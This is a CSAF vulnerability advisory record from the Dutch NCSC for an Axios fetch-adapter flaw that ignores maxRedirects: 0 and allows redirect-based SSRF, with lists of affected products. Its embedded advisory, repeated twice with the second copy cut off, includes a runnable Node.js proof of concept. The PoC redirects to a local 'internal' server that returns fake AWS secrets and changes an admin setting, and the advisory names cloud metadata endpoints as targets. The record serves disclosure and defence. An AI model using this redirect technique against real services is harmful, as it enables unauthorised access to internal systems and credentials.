{ "document": { "category": "csaf_base", "csaf_version": "2.0", "distribution": { "tlp": { "label": "WHITE" } }, "lang": "en", "notes": [ { "category": "legal_disclaimer", "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings." } ], "publisher": { "category": "coordinator", "contact_details": "cert@ncsc.nl", "name": "National Cyber Security Centre", "namespace": "https://www.ncsc.nl/" }, "title": "CVE-2026-101907", "tracking": { "current_release_date": "2026-10-21T10:05:59.029161Z", "generator": { "date": "2026-02-17T15:00:00Z", "engine": { "name": "V.E.L.M.A", "version": "1.7" } }, "id": "CVE-2026-101907", "initial_release_date": "2026-09-28T18:28:52.226884Z", "revision_history": [ { "date": "2026-09-28T18:28:52.226884Z", "number": "1", "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (4).| CWES updated (1)." }, { "date": "2026-09-28T18:29:03.524914Z", "number": "2", "summary": "NCSC Score created." }, { "date": "2026-09-28T18:38:44.163957Z", "number": "3", "summary": "CVSS created.| CWES created (2).| Products created (1).| References created (4).| Description created for source.| Unknown change." }, { "date": "2026-09-28T18:38:50.219603Z", "number": "4", "summary": "NCSC Score updated." }, { "date": "2026-09-28T19:38:42.436402Z", "number": "5", "summary": "Unknown change." }, { "date": "2026-09-29T06:38:04.978011Z", "number": "6", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (4).| References created (6).| CWES updated (1)." }, { "date": "2026-09-29T12:29:31.518443Z", "number": "7", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (5).| Product Identifiers created (1).| References created (6).| CWES updated (1).| Vendor_assessment created." }, { "date": "2026-09-29T12:29:34.619520Z", "number": "8", "summary": "NCSC Score updated." }, { "date": "2026-09-29T12:53:03.728547Z", "number": "9", "summary": "Source created.| CVE status created. (valid)| Description created for source.| Products connected (1)." }, { "date": "2026-09-29T12:53:21.586544Z", "number": "10", "summary": "NCSC Score updated." }, { "date": "2026-09-29T16:12:56.662688Z", "number": "11", "summary": "EPSS created.| Unknown change." }, { "date": "2026-09-29T16:13:03.052139Z", "number": "12", "summary": "NCSC Score updated." }, { "date": "2026-09-30T15:40:03.301002Z", "number": "13", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (6).| CWES updated (1)." }, { "date": "2026-09-30T15:40:12.554589Z", "number": "14", "summary": "NCSC Score updated." }, { "date": "2026-10-04T00:44:30.289860Z", "number": "15", "summary": "Products connected (1).| Products removed (1)." }, { "date": "2026-10-04T00:44:31.819222Z", "number": "16", "summary": "NCSC Score updated." }, { "date": "2026-10-21T10:05:53.465898Z", "number": "17", "summary": "Source connected.| CVE status created. (valid)| Products connected (12).| References created (3)." }, { "date": "2026-10-21T10:05:56.399700Z", "number": "18", "summary": "NCSC Score updated." } ], "status": "interim", "version": "18" } }, "product_tree": { "branches": [ { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/>=1.17.0|<1.20.0", "product": { "name": "vers:unknown/>=1.17.0|<1.20.0", "product_id": "CSAFPID-9482863" } }, { "category": "product_version_range", "name": "vers:unknown/v1.17.0", "product": { "name": "vers:unknown/v1.17.0", "product_id": "CSAFPID-8925638" } }, { "category": "product_version_range", "name": "vers:unknown/v1.18.0", "product": { "name": "vers:unknown/v1.18.0", "product_id": "CSAFPID-9484963" } }, { "category": "product_version_range", "name": "vers:unknown/v1.18.1", "product": { "name": "vers:unknown/v1.18.1", "product_id": "CSAFPID-9484962" } }, { "category": "product_version_range", "name": "vers:unknown/v1.19.0", "product": { "name": "vers:unknown/v1.19.0", "product_id": "CSAFPID-9484961" } } ], "category": "product_name", "name": "Axios" } ], "category": "vendor", "name": "Axios" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/lts <10.2.24", "product": { "name": "vers:unknown/lts <10.2.24", "product_id": "CSAFPID-9773074" } }, { "category": "product_version_range", "name": "vers:unknown/lts <12.1.12", "product": { "name": "vers:unknown/lts <12.1.12", "product_id": "CSAFPID-9773077" } } ], "category": "product_name", "name": "Bamboo" }, { "branches": [ { "category": "product_version_range", "name": "vers:unknown/<10.5.1", "product": { "name": "vers:unknown/<10.5.1", "product_id": "CSAFPID-9527307" } }, { "category": "product_version_range", "name": "vers:unknown/lts <10.2.8", "product": { "name": "vers:unknown/lts <10.2.8", "product_id": "CSAFPID-9773075" } }, { "category": "product_version_range", "name": "vers:unknown/lts <9.4.26", "product": { "name": "vers:unknown/lts <9.4.26", "product_id": "CSAFPID-9773079" } } ], "category": "product_name", "name": "Bitbucket" }, { "branches": [ { "category": "product_version_range", "name": "vers:unknown/<11.0.0", "product": { "name": "vers:unknown/<11.0.0", "product_id": "CSAFPID-9773080" } }, { "category": "product_version_range", "name": "vers:unknown/lts <10.2.19", "product": { "name": "vers:unknown/lts <10.2.19", "product_id": "CSAFPID-9773081" } }, { "category": "product_version_range", "name": "vers:unknown/lts <9.2.26", "product": { "name": "vers:unknown/lts <9.2.26", "product_id": "CSAFPID-9773082" } } ], "category": "product_name", "name": "Confluence" }, { "branches": [ { "category": "product_version_range", "name": "vers:unknown/<4.9.15", "product": { "name": "vers:unknown/<4.9.15", "product_id": "CSAFPID-9527315" } } ], "category": "product_name", "name": "Crucible" }, { "branches": [ { "category": "product_version_range", "name": "vers:unknown/<4.9.15", "product": { "name": "vers:unknown/<4.9.15", "product_id": "CSAFPID-9527321" } } ], "category": "product_name", "name": "Fisheye" }, { "branches": [ { "category": "product_version_range", "name": "vers:unknown/lts <10.3.26", "product": { "name": "vers:unknown/lts <10.3.26", "product_id": "CSAFPID-9773078" } }, { "category": "product_version_range", "name": "vers:unknown/lts <11.3.12", "product": { "name": "vers:unknown/lts <11.3.12", "product_id": "CSAFPID-9773076" } } ], "category": "product_name", "name": "Jira" } ], "category": "vendor", "name": "Atlassian" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:rpm/1", "product": { "name": "vers:rpm/1", "product_id": "CSAFPID-6014972", "product_identification_helper": { "cpe": "cpe:/a:redhat:hummingbird:1" } } } ], "category": "product_name", "name": "Red Hat Hardened Images" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-8902830" } } ], "category": "product_name", "name": "grafana12.4" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-8902831" } } ], "category": "product_name", "name": "grafana13.1" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-9053231" } } ], "category": "product_name", "name": "grafana13.2" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-8476867" } } ], "category": "product_name", "name": "jaeger" } ], "category": "product_family", "name": "Red Hat Hardened Images" } ], "category": "vendor", "name": "Red Hat" }, { "branches": [ { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:deb/*", "product": { "name": "vers:deb/*", "product_id": "CSAFPID-1409455" } } ], "category": "product_name", "name": "node-axios" } ], "category": "product_family", "name": "bookworm" } ], "category": "vendor", "name": "Debian" } ] }, "vulnerabilities": [ { "cve": "CVE-2026-101907", "cwe": { "id": "CWE-441", "name": "Unintended Proxy or Intermediary ('Confused Deputy')" }, "notes": [ { "category": "description", "text": "Axios is a promise-based HTTP client for the browser and Node.js. From 1.17.0 until 1.20.0, the fetch adapter bypasses the maxRedirects: 0 redirect policy. An Axios request uses the fetch adapter with maxRedirects set to zero and receives a redirect response. The underlying fetch implementation follows the redirect instead of returning the redirect response unchanged. The redirected request can access internal responses or reach state-changing internal endpoints despite redirects being disabled. This issue is fixed in version 1.20.0.", "title": "nvd - https://nvd.nist.gov/vuln/detail/CVE-2026-101907" }, { "category": "description", "text": "Axios is a promise-based HTTP client for the browser and Node.js. From 1.17.0 until 1.20.0, the fetch adapter bypasses the maxRedirects: 0 redirect policy. An Axios request uses the fetch adapter with maxRedirects set to zero and receives a redirect response. The underlying fetch implementation follows the redirect instead of returning the redirect response unchanged. The redirected request can access internal responses or reach state-changing internal endpoints despite redirects being disabled. This issue is fixed in version 1.20.0.", "title": "cveprojectv5 - https://www.cve.org/CVERecord?id=CVE-2026-101907" }, { "category": "description", "text": "A flaw was found in Axios. When configured to use the fetch adapter, the application does not enforce settings configured to disable HTTP redirects. A remote attacker controlling a redirecting server can exploit this behavior to force the application to follow redirects to internal endpoints, resulting in Server-Side Request Forgery (SSRF). This flaw can allow attackers to access internal services and expose sensitive data or trigger state-changing actions on internal systems.", "title": "redhat - https://access.redhat.com/security/cve/CVE-2026-101907" }, { "category": "description", "text": "Axios is a promise-based HTTP client for the browser and Node.js. From 1.17.0 until 1.20.0, the fetch adapter bypasses the maxRedirects: 0 redirect policy. An Axios request uses the fetch adapter with maxRedirects set to zero and receives a redirect response. The underlying fetch implementation follows the redirect instead of returning the redirect response unchanged. The redirected request can access internal responses or reach state-changing internal endpoints despite redirects being disabled. This issue is fixed in version 1.20.0.", "title": "debian - https://security-tracker.debian.org/tracker/CVE-2026-101907" }, { "category": "description", "text": "Axios is a promise-based HTTP client for the browser and Node.js. From 1.17.0 until 1.20.0, the fetch adapter bypasses the maxRedirects: 0 redirect policy. An Axios request uses the fetch adapter with maxRedirects set to zero and receives a redirect response. The underlying fetch implementation follows the redirect instead of returning the redirect response unchanged. The redirected request can access internal responses or reach state-changing internal endpoints despite redirects being disabled. This issue is fixed in version 1.20.0.", "title": "osvgit - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2026-101907.json?alt=media" }, { "category": "description", "text": "## Summary\n\nAxios exposes `maxRedirects` to limit redirect following, and `maxRedirects: 0` is used by applications as a redirect-based SSRF guard. The Node HTTP adapter enforces this option. The fetch adapter does not read it and does not set a Fetch API `redirect` mode, so the runtime default of `redirect: 'follow'` applies.\n\nApplications are affected when they rely on `maxRedirects: 0` and use the fetch adapter, either explicitly or because the runtime selects it.\n\n## Impact\n\nAn attacker who controls the initial URL or a redirecting server can cause a fetch-adapter request to follow a redirect even though the caller configured `maxRedirects: 0`. If the redirect target is reachable only from the application environment, this can expose internal responses or trigger state-changing internal endpoints.\n\nThis should not be described as unconditional SSRF. The bypass requires a redirect source, such as an attacker-controlled server or open redirect, and an application that trusted `maxRedirects: 0` as the redirect guard.\n\n## Affected Functionality\n\nAffected:\n\n- `adapter: 'fetch'`.\n- Runtime environments where fetch is selected by adapter resolution.\n- Requests configured with `maxRedirects: 0` but without `fetchOptions.redirect: 'manual'` or equivalent runtime-specific redirect control.\n\nNot affected:\n\n- Node HTTP adapter, which enforces `maxRedirects: 0`.\n- Requests that do not follow redirects in the underlying fetch implementation because the caller explicitly configured fetch redirect behavior.\n\n## Technical Details\n\n`lib/adapters/fetch.js` destructures many fields from `resolveConfig(config)`, but not `maxRedirects`. It then builds fetch options without a `redirect` key:\n\n```js\nconst resolvedOptions = {\n ...fetchOptions,\n signal: composedSignal,\n method: method.toUpperCase(),\n headers: toByteStringHeaderObject(headers.normalize()),\n body: data,\n duplex: 'half',\n credentials: isCredentialsSupported ? withCredentials : undefined,\n};\n```\n\nBecause `redirect` is absent, the Fetch API default is to follow redirects.\n\nLocal verification on axios `1.18.1` showed the HTTP adapter throwing with `maxRedirects: 0`, while the fetch adapter followed the same loopback `302` and returned the internal response.\n\n## Proof of Concept of Attack\n\nConstrained local demonstration:\n\n1. Start server A that returns `302 Location: http://127.0.0.1:/internal`.\n2. Start server B that returns `INTERNAL`.\n3. Compare:\n\n```js\nawait axios.get(serverA, { adapter: 'http', maxRedirects: 0 }); // throws\nawait axios.get(serverA, { adapter: 'fetch', maxRedirects: 0 }); // returns INTERNAL\n```\n\n## Workarounds\n\nFor fetch-adapter requests, set `fetchOptions: { redirect: 'manual' }` where the runtime supports it, or use the Node HTTP adapter for requests that rely on axios redirect limits.\n\n
\n

Original report

\n \n## Summary\n\nAxios 1.17.0 exposes `maxRedirects` as a configuration option to limit redirect following, and setting it to `0` is a documented pattern for preventing redirect-based SSRF. The HTTP adapter enforces this via `follow-redirects`. The fetch adapter does not read `maxRedirects` at all - it passes requests to the underlying `fetch()` call with no `redirect` option, which defaults to `'follow'`, so redirects are followed by the runtime rather than being constrained by axios `maxRedirects`.\n\nIn the attached PoC, a request issued with `maxRedirects: 0` and `adapter: 'fetch'` follows a `302` redirect to an internal service and returns its response, while the same request with `adapter: 'http'` correctly throws. A second bypass case demonstrates that the redirect can reach a state-changing internal endpoint, not just read-only ones, proving both confidentiality and integrity impact.\n\nThis affects any application that sets `maxRedirects: 0` as a redirect guard and runs in an environment where the fetch adapter is active: Deno, Bun, Cloudflare Workers, or Node.js with `adapter: 'fetch'` set explicitly.\n\n## Details\n\nThe fetch adapter destructures config fields from `resolveConfig` at `lib/adapters/fetch.js`:\n\n```js\nlet {\n url, method, data, signal, cancelToken, timeout,\n onDownloadProgress, onUploadProgress, responseType,\n headers, withCredentials, fetchOptions,\n maxContentLength, maxBodyLength,\n} = resolveConfig(config);\n// maxRedirects is not extracted\n```\n\nThe options object passed to `fetch()` has no `redirect` key:\n\n```js\nconst resolvedOptions = {\n ...fetchOptions, // redirect only set here if caller explicitly passes fetchOptions.redirect\n signal: composedSignal,\n method: method.toUpperCase(),\n headers: toByteStringHeaderObject(headers.normalize()),\n body: data,\n duplex: 'half',\n credentials: isCredentialsSupported ? withCredentials : undefined,\n};\n```\n\nBecause no `redirect` key is present, the Fetch API default of `redirect: 'follow'` applies, so redirects are handled by the runtime rather than constrained by axios `maxRedirects`. The HTTP adapter, by contrast, delegates to `follow-redirects`, which reads `maxRedirects`, enforces the cap, and strips `Authorization`, `Cookie`, and `Proxy-Authorization` on cross-origin redirects.\n\nThe discrepancy between adapters is not documented. The threat model covers credential stripping on redirects (T-R2) and cites `follow-redirects` as the mitigation, but makes no mention that the fetch adapter does not participate in this mitigation. See: https://github.com/axios/axios/blob/master/THREATMODEL.md#t-r2-credential-leakage-on-cross-origin-redirect\n\nThe behaviour difference between adapters is summarised below:\n\n| Behaviour | HTTP adapter | Fetch adapter |\n|----------------------------------------|---------------------------------|--------------------------|\n| Reads `config.maxRedirects` | Yes | **No** |\n| Enforces `maxRedirects: 0` | Yes -- throws on any redirect | **No -- follows silently**|\n| Strips `Authorization` cross-origin | Yes (`follow-redirects` >=1.15.8)| Runtime-dependent |\n| Strips `Cookie` cross-origin | Yes | Runtime-dependent |\n\n### When is the fetch adapter selected?\n\n- **Deno, Bun, Cloudflare Workers:** no Node.js `http` module available; the adapter list falls through to `'fetch'`\n- **Explicit config:** `axios.get(url, { adapter: 'fetch' })`\n- **Custom adapter list:** `axios.create({ adapter: ['fetch'] })`\n\n## PoC\n\n```js\nimport http from 'http';\nimport axios from './index.js';\n\n// Server A: the \"trusted\" external target, issues open redirects to Server B\nconst serverA = http.createServer((req, res) => {\n if (req.url === '/api/data') {\n res.writeHead(302, { Location: 'http://127.0.0.1:13802/internal/secrets' });\n return res.end();\n }\n if (req.url === '/api/change-config') {\n res.writeHead(302, { Location: 'http://127.0.0.1:13802/internal/admin/config' });\n return res.end();\n }\n res.writeHead(200, { 'Content-Type': 'application/json' });\n res.end(JSON.stringify({ ok: true }));\n});\n\nlet internalHits = 0;\nlet internalConfig = {};\n\n// Server B: the \"internal\" service, should be unreachable from the application\nconst serverB = http.createServer(async (req, res) => {\n internalHits++;\n\n if (req.url === '/internal/secrets') {\n res.writeHead(200, { 'Content-Type': 'application/json' });\n return res.end(JSON.stringify({\n secret: 'FAKE_AWS_SECRET_ACCESS_KEY_FOR_POC_ONLY',\n role: 'arn:aws:iam::000000000000:role/FakeProductionRole',\n }));\n }\n\n if (req.url === '/internal/admin/config') {\n internalConfig = { compromised: true, source: 'redirect-followed-by-fetch-adapter' };\n res.writeHead(200, { 'Content-Type': 'application/json' });\n return res.end(JSON.stringify({\n reached: 'state-changing internal admin endpoint',\n changed: true,\n internalConfig,\n }));\n }\n\n res.writeHead(404);\n res.end();\n});\n\nawait Promise.all([\n new Promise((resolve, reject) => { serverA.listen(13801, '127.0.0.1', resolve); serverA.on('error', reject); }),\n new Promise((resolve, reject) => { serverB.listen(13802, '127.0.0.1', resolve); serverB.on('error', reject); }),\n]);\n\nconst targetUrl = 'http://127.0.0.1:13801/api/data';\nconst changeUrl = 'http://127.0.0.1:13801/api/change-config';\nconst internalUrl = 'http://127.0.0.1:13802/internal/secrets';\nconst internalCfg = 'http://127.0.0.1:13802/internal/admin/config';\n\nconsole.log('Axios maxRedirects bypass via fetch adapter PoC');\nconsole.log(`axios VERSION=${axios.VERSION}`);\nconsole.log(`maxRedirects=0`);\nconsole.log(`Target URL=${targetUrl}`);\nconsole.log(` redirects to ${internalUrl}`);\nconsole.log(`Change URL=${changeUrl}`);\nconsole.log(` redirects to ${internalCfg}`);\nconsole.log('');\n\n// CONTROL: HTTP adapter correctly enforces maxRedirects: 0\nlet httpBlocked = false;\ntry {\n await axios.get(targetUrl, { maxRedirects: 0, adapter: 'http' });\n console.log('[CONTROL] HTTP adapter + maxRedirects:0 BUG: should have thrown');\n} catch (err) {\n httpBlocked = true;\n console.log(`[CONTROL] HTTP adapter + maxRedirects:0 correctly blocked redirect ✓ (${err.code ?? err.message})`);\n}\nconsole.log(`[CONTROL] Internal hits after HTTP adapter: ${internalHits}`);\n\n// BYPASS: Fetch adapter silently ignores maxRedirects: 0\nlet fetchResponse = null;\ntry {\n fetchResponse = await axios.get(targetUrl, { maxRedirects: 0, adapter: 'fetch' });\n console.log('[BYPASS] Fetch adapter + maxRedirects:0 SSRF succeeded ✗');\n console.log(' Response:', JSON.stringify(fetchResponse.data));\n} catch (err) {\n console.log('[BYPASS] Fetch adapter + maxRedirects:0 redirect blocked (unexpected):', err.message);\n}\nconsole.log(`[BYPASS] Internal hits after fetch adapter: ${internalHits}`);\n\n// BYPASS: Fetch adapter follows redirect to state-changing internal endpoint\nlet changedResponse = null;\ntry {\n changedResponse = await axios.get(changeUrl, { maxRedirects: 0, adapter: 'fetch' });\n console.log('[BYPASS] Fetch adapter state change:', JSON.stringify(changedResponse.data));\n console.log(`[BYPASS] Internal hits after state change: ${internalHits}`);\n} catch (err) {\n console.log('[BYPASS] State change request blocked (unexpected):', err.message);\n}\n\n\nconsole.log('');\n\nif (httpBlocked && fetchResponse && changedResponse) {\n console.log('POC RESULT: fetch adapter followed redirects despite maxRedirects:0,');\n console.log(' reaching internal service and mutating internal state.');\n} else if (httpBlocked && fetchResponse) {\n console.log('POC RESULT: fetch adapter followed redirect despite maxRedirects:0,');\n console.log(' reaching internal service that should have been unreachable.');\n} else if (!httpBlocked) {\n console.log('POC RESULT: HTTP adapter did not block redirect -- unexpected, check axios version.');\n} else {\n console.log('POC RESULT: fetch adapter blocked redirect -- issue may be fixed.');\n}\n\nserverA.close();\nserverB.close();\n```\n\nRun:\n\n```bash\nnode poc-max-redirects.mjs\n```\n\nObserved:\n\n```text\nAxios maxRedirects bypass via fetch adapter PoC\naxios VERSION=1.17.0\nmaxRedirects=0\nTarget URL=http://127.0.0.1:13801/api/data\n redirects to http://127.0.0.1:13802/internal/secrets\nChange URL=http://127.0.0.1:13801/api/change-config\n redirects to http://127.0.0.1:13802/internal/admin/config\n\n[CONTROL] HTTP adapter + maxRedirects:0 correctly blocked redirect ✓ (ERR_BAD_RESPONSE)\n[CONTROL] Internal hits after HTTP adapter: 0\n[BYPASS] Fetch adapter + maxRedirects:0 SSRF succeeded ✗\n Response: {\"secret\":\"FAKE_AWS_SECRET_ACCESS_KEY_FOR_POC_ONLY\",\"role\":\"arn:aws:iam::000000000000:role/FakeProductionRole\"}\n[BYPASS] Internal hits after fetch adapter: 1\n[BYPASS] Fetch adapter state change: {\"reached\":\"state-changing internal admin endpoint\",\"changed\":true,\"internalConfig\":{\"compromised\":true,\"source\":\"redirect-followed-by-fetch-adapter\"}}\n[BYPASS] Internal hits after state change: 2\n\nPOC RESULT: fetch adapter followed redirects despite maxRedirects:0,\n reaching internal service and mutating internal state.\n```\n\n## Control\n\nAxios does correctly enforce `maxRedirects: 0` in the HTTP adapter. The `[CONTROL]` case above confirms this: the same request with `adapter: 'http'` throws rather than following the redirect, and the internal hit counter stays at `0`:\n\n```text\n[CONTROL] HTTP adapter + maxRedirects:0 correctly blocked redirect ✓ (ERR_BAD_RESPONSE)\n[CONTROL] Internal hits after HTTP adapter: 0\n```\n\nThe issue is not that `maxRedirects` is broken globally. It is enforced correctly for the HTTP adapter. The bypass is specific to the fetch adapter, which never reads the option and passes no `redirect` constraint to the underlying `fetch()` call.\n\n## Impact\n\nThis is a redirect enforcement bypass affecting axios applications running in environments where the fetch adapter is active.\n\nThe internal admin route in the PoC simulates an affected deployment where a redirected request can reach state-changing internal APIs. The vulnerability is that `maxRedirects: 0` is silently ignored by the fetch adapter; the exact impact depends on what redirect targets are reachable from the runtime.\n\nThe impact is environment- and configuration-dependent. It affects axios users who:\n\n- Set `maxRedirects: 0` as a defense against redirect-based SSRF, and\n- Run in an environment where the fetch adapter is selected, either by runtime (Deno, Bun, Cloudflare Workers) or by explicit configuration\n\nIn these cases, a `302` redirect from the initial target is followed silently by default, unless the caller separately sets `fetchOptions.redirect`. If the redirect target is an internal service, the application returns its response to the caller with no indication that a redirect occurred or that `maxRedirects` was not honoured. The failure is silent: no error is thrown, no warning is logged.\n\nThe bypass is not limited to read-only access. As demonstrated by the second bypass case, a redirect to a state-changing internal endpoint succeeds equally. An attacker who can influence the redirect destination, for example through an open redirect on the initial target or a server they control, can reach internal and trigger mutations that the application never intended to issue.\n\nPotentially affected environments include:\n\n- Deno and Bun applications using axios where the fetch adapter is the default.\n- Cloudflare Workers using axios, which has no Node.js `http` module.\n- Node.js applications that explicitly configure `adapter: 'fetch'` or a custom adapter list that resolves to fetch.\n- Any application that conditionally sets `maxRedirects: 0` and runs across multiple environments with different adapter selection.\n\nInternal services reachable via a redirect include cloud instance metadata endpoints (`169.254.169.254`), unauthenticated local services such as Redis or internal admin APIs, and other hosts accessible from the application's network that are not intended to be reachable by the caller. The hit counter in the PoC makes the access concrete: `0` after the HTTP control, `1` after the confidentiality bypass, `2` after the integrity bypass.\n\nThis should not be characterised as an unconditional SSRF. The bypass requires either an open redirect on the initial target, or a URL that is itself a redirect. The issue is that `maxRedirects: 0`, which is the intended mitigation for this class of attack, is silently non-functional in the fetch adapter, leaving applications with a false sense of protection.\n
\n\n---", "title": "osvnpm - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/npm%2FGHSA-r4gj-5m52-g5wh.json?alt=media" }, { "category": "description", "text": "## Summary\n\nAxios exposes `maxRedirects` to limit redirect following, and `maxRedirects: 0` is used by applications as a redirect-based SSRF guard. The Node HTTP adapter enforces this option. The fetch adapter does not read it and does not set a Fetch API `redirect` mode, so the runtime default of `redirect: 'follow'` applies.\n\nApplications are affected when they rely on `maxRedirects: 0` and use the fetch adapter, either explicitly or because the runtime selects it.\n\n## Impact\n\nAn attacker who controls the initial URL or a redirecting server can cause a fetch-adapter request to follow a redirect even though the caller configured `maxRedirects: 0`. If the redirect target is reachable only from the application environment, this can expose internal responses or trigger state-changing internal endpoints.\n\nThis should not be described as unconditional SSRF. The bypass requires a redirect source, such as an attacker-controlled server or open redirect, and an application that trusted `maxRedirects: 0` as the redirect guard.\n\n## Affected Functionality\n\nAffected:\n\n- `adapter: 'fetch'`.\n- Runtime environments where fetch is selected by adapter resolution.\n- Requests configured with `maxRedirects: 0` but without `fetchOptions.redirect: 'manual'` or equivalent runtime-specific redirect control.\n\nNot affected:\n\n- Node HTTP adapter, which enforces `maxRedirects: 0`.\n- Requests that do not follow redirects in the underlying fetch implementation because the caller explicitly configured fetch redirect behavior.\n\n## Technical Details\n\n`lib/adapters/fetch.js` destructures many fields from `resolveConfig(config)`, but not `maxRedirects`. It then builds fetch options without a `redirect` key:\n\n```js\nconst resolvedOptions = {\n ...fetchOptions,\n signal: composedSignal,\n method: method.toUpperCase(),\n headers: toByteStringHeaderObject(headers.normalize()),\n body: data,\n duplex: 'half',\n credentials: isCredentialsSupported ? withCredentials : undefined,\n};\n```\n\nBecause `redirect` is absent, the Fetch API default is to follow redirects.\n\nLocal verification on axios `1.18.1` showed the HTTP adapter throwing with `maxRedirects: 0`, while the fetch adapter followed the same loopback `302` and returned the internal response.\n\n## Proof of Concept of Attack\n\nConstrained local demonstration:\n\n1. Start server A that returns `302 Location: http://127.0.0.1:/internal`.\n2. Start server B that returns `INTERNAL`.\n3. Compare:\n\n```js\nawait axios.get(serverA, { adapter: 'http', maxRedirects: 0 }); // throws\nawait axios.get(serverA, { adapter: 'fetch', maxRedirects: 0 }); // returns INTERNAL\n```\n\n## Workarounds\n\nFor fetch-adapter requests, set `fetchOptions: { redirect: 'manual' }` where the runtime supports it, or use the Node HTTP adapter for requests that rely on axios redirect limits.\n\n
\n

Original report

\n \n## Summary\n\nAxios 1.17.0 exposes `maxRedirects` as a configuration option to limit redirect following, and setting it to `0` is a documented pattern for preventing redirect-based SSRF. The HTTP adapter enforces this via `follow-redirects`. The fetch adapter does not read `maxRedirects` at all - it passes requests to the underlying `fetch()` call with no `redirect` option, which defaults to `'follow'`, so redirects are followed by the runtime rather than being constrained by axios `maxRedirects`.\n\nIn the attached PoC, a request issued with `maxRedirects: 0` and `adapter: 'fetch'` follows a `302` redirect to an internal service and returns its response, while the same request with `adapter: 'http'` correctly throws. A second bypass case demonstrates that the redirect can reach a state-changing internal endpoint, not just read-only ones, proving both confidentiality and integrity impact.\n\nThis affects any application that sets `maxRedirects: 0` as a redirect guard and runs in an environment where the fetch adapter is active: Deno, Bun, Cloudflare Workers, or Node.js with `adapter: 'fetch'` set explicitly.\n\n## Details\n\nThe fetch adapter destructures config fields from `resolveConfig` at `lib/adapters/fetch.js`:\n\n```js\nlet {\n url, method, data, signal, cancelToken, timeout,\n onDownloadProgress, onUploadProgress, responseType,\n headers, withCredentials, fetchOptions,\n maxContentLength, maxBodyLength,\n} = resolveConfig(config);\n// maxRedirects is not extracted\n```\n\nThe options object passed to `fetch()` has no `redirect` key:\n\n```js\nconst resolvedOptions = {\n ...fetchOptions, // redirect only set here if caller explicitly passes fetchOptions.redirect\n signal: composedSignal,\n method: method.toUpperCase(),\n headers: toByteStringHeaderObject(headers.normalize()),\n body: data,\n duplex: 'half',\n credentials: isCredentialsSupported ? withCredentials : undefined,\n};\n```\n\nBecause no `redirect` key is present, the Fetch API default of `redirect: 'follow'` applies, so redirects are handled by the runtime rather than constrained by axios `maxRedirects`. The HTTP adapter, by contrast, delegates to `follow-redirects`, which reads `maxRedirects`, enforces the cap, and strips `Authorization`, `Cookie`, and `Proxy-Authorization` on cross-origin redirects.\n\nThe discrepancy between adapters is not documented. The threat model covers credential stripping on redirects (T-R2) and cites `follow-redirects` as the mitigation, but makes no mention that the fetch adapter does not participate in this mitigation. See: https://github.com/axios/axios/blob/master/THREATMODEL.md#t-r2-credential-leakage-on-cross-origin-redirect\n\nThe behaviour difference between adapters is summarised below:\n\n| Behaviour | HTTP adapter | Fetch adapter |\n|----------------------------------------|---------------------------------|--------------------------|\n| Reads `config.maxRedirects` | Yes | **No** |\n| Enforces `maxRedirects: 0` | Yes -- throws on any redirect | **No -- follows silently**|\n| Strips `Authorization` cross-origin | Yes (`follow-redirects` >=1.15.8)| Runtime-dependent |\n| Strips `Cookie` cross-origin | Yes | Runtime-dependent |\n\n### When is the fetch adapter selected?\n\n- **Deno, Bun, Cloudflare Workers:** no Node.js `http` module available; the adapter list falls through to `'fetch'`\n- **Explicit config:** `axios.get(url, { adapter: 'fetch' })`\n- **Custom adapter list:** `axios.create({ adapter: ['fetch'] })`\n\n## PoC\n\n```js\nimport http from 'http';\nimport axios from './index.js';\n\n// Server A: the \"trusted\" external target, issues open redirects to Server B\nconst serverA = http.createServer((req, res) => {\n if (req.url === '/api/data') {\n res.writeHead(302, { Location: 'http://127.0.0.1:13802/internal/secrets' });\n return res.end();\n }\n if (req.url === '/api/change-config') {\n res.writeHead(302, { Location: 'http://127.0.0.1:13802/internal/admin/config' });\n return res.end();\n }\n res.writeHead(200, { 'Content-Type': 'application/json' });\n res.end(JSON.stringify({ ok: true }));\n});\n\nlet internalHits = 0;\nlet internalConfig = {};\n\n// Server B: the \"internal\" service, should be unreachable from the application\nconst serverB = http.createServer(async (req, res) => {\n internalHits++;\n\n if (req.url === '/internal/secrets') {\n res.writeHead(200, { 'Content-Type': 'application/json' });\n return res.end(JSON.stringify({\n secret: 'FAKE_AWS_SECRET_ACCESS_KEY_FOR_POC_ONLY',\n role: 